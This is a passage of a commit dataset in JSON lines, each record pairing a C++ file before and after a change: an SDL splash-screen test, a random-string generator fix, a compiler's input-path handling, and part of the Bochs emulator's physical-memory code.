true;\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <SDL.h>\n#include \"SDLUtils.hpp\"\n#include \"InitScreen.hpp\"\n\nusing namespace rd;\n\nint main()\n{\n    if( ! initSDL() )\n        return 1;\n\n    InitScreen screen;\n    if( ! screen.init() )\n        return 1;\n\n    for (int i = 0; i < 200; i++)\n    {\n        if( ! screen.show() )\n            return 1;\n        SDL_Delay(20); \/\/Wait a bit :)\n    }\n    if( ! screen.cleanup() )\n        return 1;\n\n    if( ! cleanupSDL() )\n        return 1;\n\n    return 0;\n}\n<commit_msg>Update testInitScreen to work with new RdScreen API<commit_after>\/***\n * testInitScreen\n *\n * Testing InitScreen class, which shows the splash screen and a message to press any key.\n * This test requires a SDLScreenManager\n *\n * This test is NOT AUTOMATIC, not suitable for running it with a CI server\n *\n ***\/\n\n#include \"ScreenManager.hpp\"\n#include \"SDLScreenManager.hpp\"\n#include \"RdScreen.hpp\"\n#include \"InitScreen.hpp\"\n\n#include <yarp\/os\/Time.h>\n\nusing namespace rd;\n\nint main()\n{\n    \/\/-- Start SDL, Create SDLScreen Manager\n    SDLScreenManager::RegisterManager();\n    ScreenManager * screenManager = ScreenManager::getScreenManager(\"SDL\");\n    screenManager->start();\n\n    RdScreen * screen = new InitScreen();\n\n    if(!screen->init())\n        return 1;\n    screenManager->setCurrentScreen(screen);\n\n    for (int i = 0; i < 200; i++)\n    {\n        if(!screen->show())\n            return 1;\n        yarp::os::Time::delay(0.002);\n    }\n\n    if(!screenManager->stop())\n        return 1;\n\n    if(!screen->cleanup() )\n        return 1;\n\n    delete screen;\n    screen = NULL;\n\n    SDLScreenManager::destroyScreenManager();\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright © 2018 Dmitriy Khaustov\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Author: Dmitriy Khaustov aka xDimon\n\/\/ Contacts: khaustov.dm@gmail.com\n\/\/ File created on: 2018.10.21\n\n\/\/ Random.cpp\n\n\n#include \"Random.hpp\"\n\n#include <random>\n#include <chrono>\n\n#if __cplusplus >= 201703L\nstd::string Random::generateSequence(const std::string_view& lookUpTable, size_t length)\n#else\nstd::string Random::generateSequence(const std::string& lookUpTable, size_t length)\n#endif\n{\n\tstd::string sequence;\n\n\tstd::default_random_engine generator(static_cast<uint64_t>(std::chrono::system_clock::now().time_since_epoch().count()));\n\n\tfor (;;)\n\t{\n\t\tauto rnd = static_cast<uint64_t>(\n\t\t\tstd::generate_canonical<long double, std::numeric_limits<long double>::digits>(generator) * std::numeric_limits<uint64_t>::max()\n\t\t);\n\t\tfor (auto symbol = 0; symbol < 5; symbol++)\n\t\t{\n\t\t\tsequence.push_back(lookUpTable[rnd % 62]);\n\t\t\tif (sequence.length() >= length)\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\trnd \/= 62;\n\t\t}\n\t}\n\n\treturn nullptr;\n}\n<commit_msg>Fix random sequence generator<commit_after>\/\/ Copyright © 2018 Dmitriy Khaustov\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Author: Dmitriy Khaustov aka xDimon\n\/\/ Contacts: khaustov.dm@gmail.com\n\/\/ File created on: 2018.10.21\n\n\/\/ Random.cpp\n\n\n#include \"Random.hpp\"\n\n#include <random>\n#include <chrono>\n\n#if __cplusplus >= 201703L\nstd::string Random::generateSequence(const std::string_view& lookUpTable, size_t length)\n#else\nstd::string Random::generateSequence(const std::string& lookUpTable, size_t length)\n#endif\n{\n\tstd::string sequence;\n\n\tstd::default_random_engine generator(static_cast<uint64_t>(std::chrono::system_clock::now().time_since_epoch().count()));\n\n\tfor (;;)\n\t{\n\t\tauto rnd = static_cast<uint64_t>(\n\t\t\tstd::generate_canonical<long double, std::numeric_limits<long double>::digits>(generator) * std::numeric_limits<uint64_t>::max()\n\t\t);\n\t\tfor (;;)\n\t\t{\n\t\t\tsequence.push_back(lookUpTable[rnd % 62]);\n\t\t\tif (sequence.length() >= length)\n\t\t\t{\n\t\t\t\treturn sequence;\n\t\t\t}\n\t\t\trnd \/= 62;\n\t\t\tif (rnd < lookUpTable.length())\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn sequence;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <cstdio>\n#include <fstream>\n#include <iostream>\n#include \"MccAssembler.h\"\n#include \"MccRobot.h\"\nusing namespace std;\n\nextern int yyparse();\nextern FILE *yyin;\n\n\nint main(int args, char** argv)\n{\n\tMccRobot &robot = theMccRobot();\n\tstring output_filename;\n\tstring input_filename;\n\tstring input_path;\n\n#ifdef DEBUG_MODE\n\t\/\/ Test selection.\n\tint select_input;\n\tcout << \"Input 1 or 2 to select input file, 1 select 'test', 2 select 'correct'\\n\"\n\t\t\"Your select: \";\n\tcin >> select_input;\n\tif (1 == select_input) {\n\t\toutput_filename = input_filename = \"test\";\n\t} else if (2 == select_input) {\n\t\toutput_filename = input_filename = \"correct\";\n\t} else {\n\t\tcout << \"Wrong selection.\\n\";\n\t\texit(0);\n\t}\n#endif\n\n\t\/\/ Deal with main arguments.\n\t\/\/ args[1]: input file name.\n\tif (args > 1) {\n\t\tstring argv1 = string(argv[1]);\n\t\t\/\/ Split argv1 into input_path and input_filename.\n\t\tint pos = argv1.find_last_of('\\\\');\n\t\tif (string::npos != pos) {\n\t\t\tinput_filename = argv1.substr(pos + 1);\n\t\t\tinput_path = argv1.substr(0, pos + 1);\n\t\t} else {\n\t\t\tinput_filename = argv1;\n\t\t}\n\t\toutput_filename = input_filename;\n\t\tpos = input_filename.find('.');\n\t\tif (string::npos != pos) {\n\t\t\toutput_filename = input_filename.substr(0, pos);\n\t\t}\n\t} else if (input_filename.empty()) {\n\t\tcout << \"No input file.\\n\";\n\t\texit(0);\n\t}\n\n\t\/\/ Open input file as yyin, the input of flex.\n\tyyin = fopen((input_path + input_filename).c_str(), \"r\");\n\tif (nullptr == yyin) {\n\t\tcout << \"Open file failed.\\n\";\n\t\texit(1);\n\t}\n\n\t\/\/ Parse.\n\tif (0 != yyparse()) {\n\t\tcout << \"Parse error.\\n\";\n\t\texit(1);\n\t}\n\t\n\t\/\/ After parsing, do more thing.\n\tif (robot.check_semantic_error()) {\n\t\trobot.generate_code();\n\n\t\t\/\/ Deal with conflict between input filename and output filename.\n\t\tif (input_filename == output_filename) {\n\t\t\toutput_filename += \".out\";\n\t\t}\n\t\t\n\t\t\/\/ Output generated code.\n\t\tofstream out_stream(output_filename);\n\t\tout_stream << robot.get_global_var_code_buffer() << robot.get_code_buffer();\n\n\t\t\/\/ Generate machine code by using assembler.\n\t\tMccAssembler mcca(robot.get_codes());\n\t\tmcca.scan();\n\t\tmcca.output_coes();\n\t} else {\n\t\tcout << \"Found error.\\n\";\n\t}\n\n\treturn 0;\n}<commit_msg>Add support for both unix and windows intput path<commit_after>#include <stdio.h>\n#include <cstdio>\n#include <fstream>\n#include <iostream>\n#include \"MccAssembler.h\"\n#include \"MccRobot.h\"\nusing namespace std;\n\nextern int yyparse();\nextern FILE *yyin;\n\n\nint main(int args, char** argv)\n{\n\tMccRobot &robot = theMccRobot();\n\tstring output_filename;\n\tstring input_filename;\n\tstring input_path;\n\n#ifdef DEBUG_MODE\n\t\/\/ Test selection.\n\tint select_input;\n\tcout << \"Input 1 or 2 to select input file, 1 select 'test', 2 select 'correct'\\n\"\n\t\t\"Your select: \";\n\tcin >> select_input;\n\tif (1 == select_input) {\n\t\toutput_filename = input_filename = \"test\";\n\t} else if (2 == select_input) {\n\t\toutput_filename = input_filename = \"correct\";\n\t} else {\n\t\tcout << \"Wrong selection.\\n\";\n\t\texit(0);\n\t}\n#endif\n\n\t\/\/ Deal with main arguments.\n\t\/\/ args[1]: input file name.\n\tif (args > 1) {\n\t\tstring argv1 = string(argv[1]);\n\t\t\/\/ Split argv1 into input_path and input_filename.\n\t\t\/\/ Check windows path.\n\t\tint pos = argv1.find_last_of('\\\\');\n\t\tif (string::npos == pos) {\n\t\t\t\/\/ Check unix path.\n\t\t\tpos = argv1.find_last_of('\/');\n\t\t}\n\t\tif (string::npos != pos) {\n\t\t\tinput_filename = argv1.substr(pos + 1);\n\t\t\tinput_path = argv1.substr(0, pos + 1);\n\t\t} else {\n\t\t\tinput_filename = argv1;\n\t\t}\n\t\toutput_filename = input_filename;\n\t\tpos = input_filename.find('.');\n\t\tif (string::npos != pos) {\n\t\t\toutput_filename = input_filename.substr(0, pos);\n\t\t}\n\t} else if (input_filename.empty()) {\n\t\tcout << \"No input file.\\n\";\n\t\texit(0);\n\t}\n\n\t\/\/ Open input file as yyin, the input of flex.\n\tyyin = fopen((input_path + input_filename).c_str(), \"r\");\n\tif (nullptr == yyin) {\n\t\tcout << \"Open file failed.\\n\";\n\t\texit(1);\n\t}\n\n\t\/\/ Parse.\n\tif (0 != yyparse()) {\n\t\tcout << \"Parse error.\\n\";\n\t\texit(1);\n\t}\n\t\n\t\/\/ After parsing, do more thing.\n\tif (robot.check_semantic_error()) {\n\t\trobot.generate_code();\n\n\t\t\/\/ Deal with conflict between input filename and output filename.\n\t\tif (input_filename == output_filename) {\n\t\t\toutput_filename += \".out\";\n\t\t}\n\t\t\n\t\t\/\/ Output generated code.\n\t\tofstream out_stream(output_filename);\n\t\tout_stream << robot.get_global_var_code_buffer() << robot.get_code_buffer();\n\t\tout_stream.close();\n\n\t\t\/\/ Generate machine code by using assembler.\n\t\tMccAssembler mcca(robot.get_codes());\n\t\tmcca.scan();\n\t\tmcca.output_coes();\n\t} else {\n\t\tcout << \"Found error.\\n\";\n\t}\n\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ $Id: memory.cc,v 1.53 2006\/03\/28 16:53:02 sshwarts Exp $\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (C) 2001  MandrakeSoft S.A.\n\/\/\n\/\/    MandrakeSoft S.A.\n\/\/    43, rue d'Aboukir\n\/\/    75002 Paris - France\n\/\/    http:\/\/www.linux-mandrake.com\/\n\/\/    http:\/\/www.mandrakesoft.com\/\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA\n\n\n#include \"bochs.h\"\n#include \"cpu\/cpu.h\"\n#include \"iodev\/iodev.h\"\n#define LOG_THIS BX_MEM_THIS\n\n#if BX_PROVIDE_CPU_MEMORY\n\n\/\/\n\/\/ Memory map inside the 1st megabyte:\n\/\/\n\/\/ 0x00000 - 0x7ffff    DOS area (512K)\n\/\/ 0x80000 - 0x9ffff    Optional fixed memory hole (128K)\n\/\/ 0xa0000 - 0xbffff    Standard PCI\/ISA Video Mem \/ SMMRAM (128K)\n\/\/ 0xc0000 - 0xdffff    Expansion Card BIOS and Buffer Area (128K)\n\/\/ 0xe0000 - 0xeffff    Lower BIOS Area (64K)\n\/\/ 0xf0000 - 0xfffff    Upper BIOS Area (64K)\n\/\/\n\n  void BX_CPP_AttrRegparmN(3)\nBX_MEM_C::writePhysicalPage(BX_CPU_C *cpu, bx_phy_address addr, unsigned len, void *data)\n{\n  Bit8u *data_ptr;\n  bx_phy_address a20addr = A20ADDR(addr);\n\n  \/\/ Note: accesses should always be contained within a single page now\n\n  if (cpu != NULL) {\n#if BX_SUPPORT_IODEBUG\n    bx_iodebug_c::mem_write(cpu, a20addr, len, data);\n#endif\n\n    BX_INSTR_PHY_WRITE(cpu->which_cpu(), a20addr, len);\n\n#if BX_DEBUGGER\n    \/\/ (mch) Check for physical write break points, TODO\n    \/\/ (bbd) Each breakpoint should have an associated CPU#, TODO\n    for (int i = 0; i < num_write_watchpoints; i++) {\n      if (write_watchpoint[i] == a20addr) {\n        BX_CPU(0)->watchpoint = a20addr;\n        BX_CPU(0)->break_point = BREAK_POINT_WRITE;\n        break;\n      }\n    }\n#endif\n\n#if BX_SUPPORT_APIC\n    bx_generic_apic_c *local_apic = &cpu->local_apic;\n    if (local_apic->is_selected(a20addr, len)) {\n      local_apic->write(a20addr, (Bit32u *)data, len);\n      return;\n    }\n#endif\n\n    if ((a20addr & 0xfffe0000) == 0x000a0000 && (BX_MEM_THIS smram_available))\n    {\n      \/\/ SMRAM memory space\n      if (BX_MEM_THIS smram_enable || (cpu->smm_mode() && !BX_MEM_THIS smram_restricted))\n        goto mem_write;\n    }\n  }\n\n  struct memory_handler_struct *memory_handler = memory_handlers[a20addr >> 20];\n  while (memory_handler) {\n    if (memory_handler->begin <= a20addr &&\n          memory_handler->end >= a20addr &&\n          memory_handler->write_handler(a20addr, len, data, memory_handler->param))\n    {\n      return;\n    }\n    memory_handler = memory_handler->next;\n  }\n\nmem_write:\n\n#if BX_SUPPORT_ICACHE\n  if (a20addr < BX_MEM_THIS len)\n    pageWriteStampTable.decWriteStamp(a20addr);\n#endif\n\n  \/\/ all memory access feets in single 4K page \n  if (a20addr <= BX_MEM_THIS len) {\n    \/\/ all of data is within limits of physical memory\n    if ((a20addr & 0xfff80000) != 0x00080000 || (a20addr <= 0x0009ffff))\n    {\n      if (len == 8) {\n        WriteHostQWordToLittleEndian(&vector[a20addr], *(Bit64u*)data);\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n        return;\n      }\n      if (len == 4) {\n        WriteHostDWordToLittleEndian(&vector[a20addr], *(Bit32u*)data);\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n        return;\n      }\n      if (len == 2) {\n        WriteHostWordToLittleEndian(&vector[a20addr], *(Bit16u*)data);\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n        return;\n      }\n      if (len == 1) {\n        * ((Bit8u *) (&vector[a20addr])) = * (Bit8u *) data;\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n        return;\n      }\n      \/\/ len == other, just fall thru to special cases handling\n    }\n\n#ifdef BX_LITTLE_ENDIAN\n    data_ptr = (Bit8u *) data;\n#else \/\/ BX_BIG_ENDIAN\n    data_ptr = (Bit8u *) data + (len - 1);\n#endif\n\nwrite_one:\n    if ((a20addr & 0xfff80000) != 0x00080000 || (a20addr <= 0x0009ffff))\n    {\n      \/\/ addr *not* in range 000A0000 .. 000FFFFF\n      vector[a20addr] = *data_ptr;\n      BX_DBG_DIRTY_PAGE(a20addr >> 12);\ninc_one:\n      if (len == 1) return;\n      len--;\n      a20addr++;\n#ifdef BX_LITTLE_ENDIAN\n      data_ptr++;\n#else \/\/ BX_BIG_ENDIAN\n      data_ptr--;\n#endif\n      goto write_one;\n    }\n\n    \/\/ addr must be in range 000A0000 .. 000FFFFF\n\n    \/\/ SMMRAM\n    if (a20addr <= 0x000bffff) {\n      \/\/ devices are not allowed to access SMMRAM under VGA memory\n      if (cpu) {\n        vector[a20addr] = *data_ptr;\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n      }\n      goto inc_one;\n    }\n\n    \/\/ adapter ROM     C0000 .. DFFFF\n    \/\/ ROM BIOS memory E0000 .. FFFFF\n#if BX_SUPPORT_PCI == 0\n    \/\/ ignore write to ROM\n#else\n    \/\/ Write Based on 440fx Programming\n    if (pci_enabled && ((a20addr & 0xfffc0000) == 0x000c0000))\n    {\n      switch (DEV_pci_wr_memtype(a20addr & 0xFC000)) {\n        case 0x1:   \/\/ Writes to ShadowRAM\n          BX_DEBUG((\"Writing to ShadowRAM: address %08x, data %02x\", (unsigned) a20addr, *data_ptr));\n          vector[a20addr] = *data_ptr;\n          BX_DBG_DIRTY_PAGE(a20addr >> 12);\n          goto inc_one;\n\n        case 0x0:   \/\/ Writes to ROM, Inhibit\n          BX_DEBUG((\"Write to ROM ignored: address %08x, data %02x\", (unsigned) a20addr, *data_ptr));\n          goto inc_one;\n\n        default:\n          BX_PANIC((\"writePhysicalPage: default case\"));\n          goto inc_one;\n      }\n    }\n#endif\n    goto inc_one;\n  }\n  else {\n    \/\/ access outside limits of physical memory, ignore\n    BX_DEBUG((\"Write outside the limits of physical memory (ignore)\"));\n  }\n}\n\n  void BX_CPP_AttrRegparmN(3)\nBX_MEM_C::readPhysicalPage(BX_CPU_C *cpu, bx_phy_address addr, unsigned len, void *data)\n{\n  Bit8u *data_ptr;\n  bx_phy_address a20addr = A20ADDR(addr);\n\n  \/\/ Note: accesses should always be contained within a single page now\n\n  if (cpu != NULL) {\n#if BX_SUPPORT_IODEBUG\n    bx_iodebug_c::mem_read(cpu, a20addr, len, data);\n#endif\n \n    BX_INSTR_PHY_READ(cpu->which_cpu(), a20addr, len);\n\n#if BX_DEBUGGER\n    \/\/ (mch) Check for physical read break points, TODO\n    \/\/ (bbd) Each breakpoint should have an associated CPU#, TODO\n    for (int i = 0; i < num_read_watchpoints; i++) {\n      if (read_watchpoint[i] == a20addr) {\n         BX_CPU(0)->watchpoint = a20addr;\n         BX_CPU(0)->break_point = BREAK_POINT_READ;\n         break;\n      }\n    }\n#endif\n\n#if BX_SUPPORT_APIC\n    bx_generic_apic_c *local_apic = &cpu->local_apic;\n    if (local_apic->is_selected (a20addr, len)) {\n      local_apic->read(a20addr, data, len);\n      return;\n    }\n#endif\n\n    if ((a20addr & 0xfffe0000) == 0x000a0000 && (BX_MEM_THIS smram_available))\n    {\n      \/\/ SMRAM memory space\n      if (BX_MEM_THIS smram_enable || (cpu->smm_mode() && !BX_MEM_THIS smram_restricted))\n        goto mem_read;\n    }\n  }\n\n  struct memory_handler_struct *memory_handler = memory_handlers[a20addr >> 20];\n  while (memory_handler) {\n    if (memory_handler->begin <= a20addr &&\n          memory_handler->end >= a20addr &&\n          memory_handler->read_handler(a20addr, len, data, memory_handler->param))\n    {\n      return;\n    }\n    memory_handler = memory_handler->next;\n  }\n\nmem_read:\n\n  if (a20addr <= BX_MEM_THIS len) {\n    \/\/ all of data is within limits of physical memory\n    if ((a20addr & 0xfff80000) != 0x00080000 || (a20addr <= 0x0009ffff))\n    {\n      if (len == 8) {\n        ReadHostQWordFromLittleEndian(&vector[a20addr], * (Bit64u*) data);\n        return;\n      }\n      if (len == 4) {\n        ReadHostDWordFromLittleEndian(&vector[a20addr], * (Bit32u*) data);\n        return;\n      }\n      if (len == 2) {\n        ReadHostWordFromLittleEndian(&vector[a20addr], * (Bit16u*) data);\n        return;\n      }\n      if (len == 1) {\n        * (Bit8u *) data = * ((Bit8u *) (&vector[a20addr]));\n        return;\n      }\n      \/\/ len == other case can just fall thru to special cases handling\n    }\n\n#ifdef BX_LITTLE_ENDIAN\n    data_ptr = (Bit8u *) data;\n#else \/\/ BX_BIG_ENDIAN\n    data_ptr = (Bit8u *) data + (len - 1);\n#endif\n\nread_one:\n    if ((a20addr & 0xfff80000) != 0x00080000 || (a20addr <= 0x0009ffff))\n    {\n      \/\/ addr *not* in range 00080000 .. 000FFFFF\n      *data_ptr = vector[a20addr];\ninc_one:\n      if (len == 1) return;\n      len--;\n      a20addr++;\n#ifdef BX_LITTLE_ENDIAN\n      data_ptr++;\n#else \/\/ BX_BIG_ENDIAN\n      data_ptr--;\n#endif\n      goto read_one;\n    }\n\n    \/\/ addr must be in range 000A0000 .. 000FFFFF\n\n    \/\/ SMMRAM\n    if (a20addr <= 0x000bffff) {\n      \/\/ devices are not allowed to access SMMRAM under VGA memory\n      if (cpu) *data_ptr = vector[a20addr];\n      goto inc_one;\n    }\n\n#if BX_SUPPORT_PCI\n    if (pci_enabled && ((a20addr & 0xfffc0000) == 0x000c0000))\n    {\n      switch (DEV_pci_rd_memtype (a20addr)) {\n        case 0x0:  \/\/ Read from ROM\n          if ( (a20addr & 0xfffe0000) == 0x000e0000 )\n          {\n            *data_ptr = rom[a20addr & BIOS_MASK];\n          }\n          else\n          {\n            *data_ptr = rom[(a20addr & EXROM_MASK) + BIOSROMSZ];\n          }\n          goto inc_one;\n        case 0x1:  \/\/ Read from ShadowRAM\n          *data_ptr = vector[a20addr];\n          goto inc_one;\n        default:\n          BX_PANIC((\"readPhysicalPage: default case\"));\n      }\n      goto inc_one;\n    }\n    else\n#endif  \/\/ #if BX_SUPPORT_PCI\n    {\n      if ((a20addr & 0xfffc0000) != 0x000c0000) {\n        *data_ptr = vector[a20addr];\n      }\n      else if ((a20addr & 0xfffe0000) == 0x000e0000)\n      {\n        *data_ptr = rom[a20addr & BIOS_MASK];\n      }\n      else\n      {\n        *data_ptr = rom[(a20addr & EXROM_MASK) + BIOSROMSZ];\n      }\n      goto inc_one;\n    }\n  }\n  else\n  {  \/\/ access outside limits of physical memory\n\n#ifdef BX_LITTLE_ENDIAN\n    data_ptr = (Bit8u *) data;\n#else \/\/ BX_BIG_ENDIAN\n    data_ptr = (Bit8u *) data + (len - 1);\n#endif\n\n    for (unsigned i = 0; i < len; i++) {\n      if (a20addr >= (bx_phy_address)~BIOS_MASK)\n        *data_ptr = rom[a20addr & BIOS_MASK];\n      else\n        *data_ptr = 0xff;\n      addr++;\n      a20addr = (addr);\n#ifdef BX_LITTLE_ENDIAN\n      data_ptr++;\n#else \/\/ BX_BIG_ENDIAN\n      data_ptr--;\n#endif\n    }\n  }\n}\n\n#endif \/\/ #if BX_PROVIDE_CPU_MEMORY\n<commit_msg>Fixed compilaion problem on Linux gcc 3.3.4<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ $Id: memory.cc,v 1.54 2006\/03\/28 21:09:04 sshwarts Exp $\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (C) 2001  MandrakeSoft S.A.\n\/\/\n\/\/    MandrakeSoft S.A.\n\/\/    43, rue d'Aboukir\n\/\/    75002 Paris - France\n\/\/    http:\/\/www.linux-mandrake.com\/\n\/\/    http:\/\/www.mandrakesoft.com\/\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA\n\n\n#include \"bochs.h\"\n#include \"cpu\/cpu.h\"\n#include \"iodev\/iodev.h\"\n#define LOG_THIS BX_MEM_THIS\n\n#if BX_PROVIDE_CPU_MEMORY\n\n\/\/\n\/\/ Memory map inside the 1st megabyte:\n\/\/\n\/\/ 0x00000 - 0x7ffff    DOS area (512K)\n\/\/ 0x80000 - 0x9ffff    Optional fixed memory hole (128K)\n\/\/ 0xa0000 - 0xbffff    Standard PCI\/ISA Video Mem \/ SMMRAM (128K)\n\/\/ 0xc0000 - 0xdffff    Expansion Card BIOS and Buffer Area (128K)\n\/\/ 0xe0000 - 0xeffff    Lower BIOS Area (64K)\n\/\/ 0xf0000 - 0xfffff    Upper BIOS Area (64K)\n\/\/\n\n  void BX_CPP_AttrRegparmN(3)\nBX_MEM_C::writePhysicalPage(BX_CPU_C *cpu, bx_phy_address addr, unsigned len, void *data)\n{\n  Bit8u *data_ptr;\n  bx_phy_address a20addr = A20ADDR(addr);\n  struct memory_handler_struct *memory_handler = NULL;\n\n  \/\/ Note: accesses should always be contained within a single page now\n\n  if (cpu != NULL) {\n#if BX_SUPPORT_IODEBUG\n    bx_iodebug_c::mem_write(cpu, a20addr, len, data);\n#endif\n\n    BX_INSTR_PHY_WRITE(cpu->which_cpu(), a20addr, len);\n\n#if BX_DEBUGGER\n    \/\/ (mch) Check for physical write break points, TODO\n    \/\/ (bbd) Each breakpoint should have an associated CPU#, TODO\n    for (int i = 0; i < num_write_watchpoints; i++) {\n      if (write_watchpoint[i] == a20addr) {\n        BX_CPU(0)->watchpoint = a20addr;\n        BX_CPU(0)->break_point = BREAK_POINT_WRITE;\n        break;\n      }\n    }\n#endif\n\n#if BX_SUPPORT_APIC\n    bx_generic_apic_c *local_apic = &cpu->local_apic;\n    if (local_apic->is_selected(a20addr, len)) {\n      local_apic->write(a20addr, (Bit32u *)data, len);\n      return;\n    }\n#endif\n\n    if ((a20addr & 0xfffe0000) == 0x000a0000 && (BX_MEM_THIS smram_available))\n    {\n      \/\/ SMRAM memory space\n      if (BX_MEM_THIS smram_enable || (cpu->smm_mode() && !BX_MEM_THIS smram_restricted))\n        goto mem_write;\n    }\n  }\n\n  memory_handler = memory_handlers[a20addr >> 20];\n  while (memory_handler) {\n    if (memory_handler->begin <= a20addr &&\n          memory_handler->end >= a20addr &&\n          memory_handler->write_handler(a20addr, len, data, memory_handler->param))\n    {\n      return;\n    }\n    memory_handler = memory_handler->next;\n  }\n\nmem_write:\n\n#if BX_SUPPORT_ICACHE\n  if (a20addr < BX_MEM_THIS len)\n    pageWriteStampTable.decWriteStamp(a20addr);\n#endif\n\n  \/\/ all memory access feets in single 4K page \n  if (a20addr <= BX_MEM_THIS len) {\n    \/\/ all of data is within limits of physical memory\n    if ((a20addr & 0xfff80000) != 0x00080000 || (a20addr <= 0x0009ffff))\n    {\n      if (len == 8) {\n        WriteHostQWordToLittleEndian(&vector[a20addr], *(Bit64u*)data);\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n        return;\n      }\n      if (len == 4) {\n        WriteHostDWordToLittleEndian(&vector[a20addr], *(Bit32u*)data);\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n        return;\n      }\n      if (len == 2) {\n        WriteHostWordToLittleEndian(&vector[a20addr], *(Bit16u*)data);\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n        return;\n      }\n      if (len == 1) {\n        * ((Bit8u *) (&vector[a20addr])) = * (Bit8u *) data;\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n        return;\n      }\n      \/\/ len == other, just fall thru to special cases handling\n    }\n\n#ifdef BX_LITTLE_ENDIAN\n    data_ptr = (Bit8u *) data;\n#else \/\/ BX_BIG_ENDIAN\n    data_ptr = (Bit8u *) data + (len - 1);\n#endif\n\nwrite_one:\n    if ((a20addr & 0xfff80000) != 0x00080000 || (a20addr <= 0x0009ffff))\n    {\n      \/\/ addr *not* in range 000A0000 .. 000FFFFF\n      vector[a20addr] = *data_ptr;\n      BX_DBG_DIRTY_PAGE(a20addr >> 12);\ninc_one:\n      if (len == 1) return;\n      len--;\n      a20addr++;\n#ifdef BX_LITTLE_ENDIAN\n      data_ptr++;\n#else \/\/ BX_BIG_ENDIAN\n      data_ptr--;\n#endif\n      goto write_one;\n    }\n\n    \/\/ addr must be in range 000A0000 .. 000FFFFF\n\n    \/\/ SMMRAM\n    if (a20addr <= 0x000bffff) {\n      \/\/ devices are not allowed to access SMMRAM under VGA memory\n      if (cpu) {\n        vector[a20addr] = *data_ptr;\n        BX_DBG_DIRTY_PAGE(a20addr >> 12);\n      }\n      goto inc_one;\n    }\n\n    \/\/ adapter ROM     C0000 .. DFFFF\n    \/\/ ROM BIOS memory E0000 .. FFFFF\n#if BX_SUPPORT_PCI == 0\n    \/\/ ignore write to ROM\n#else\n    \/\/ Write Based on 440fx Programming\n    if (pci_enabled && ((a20addr & 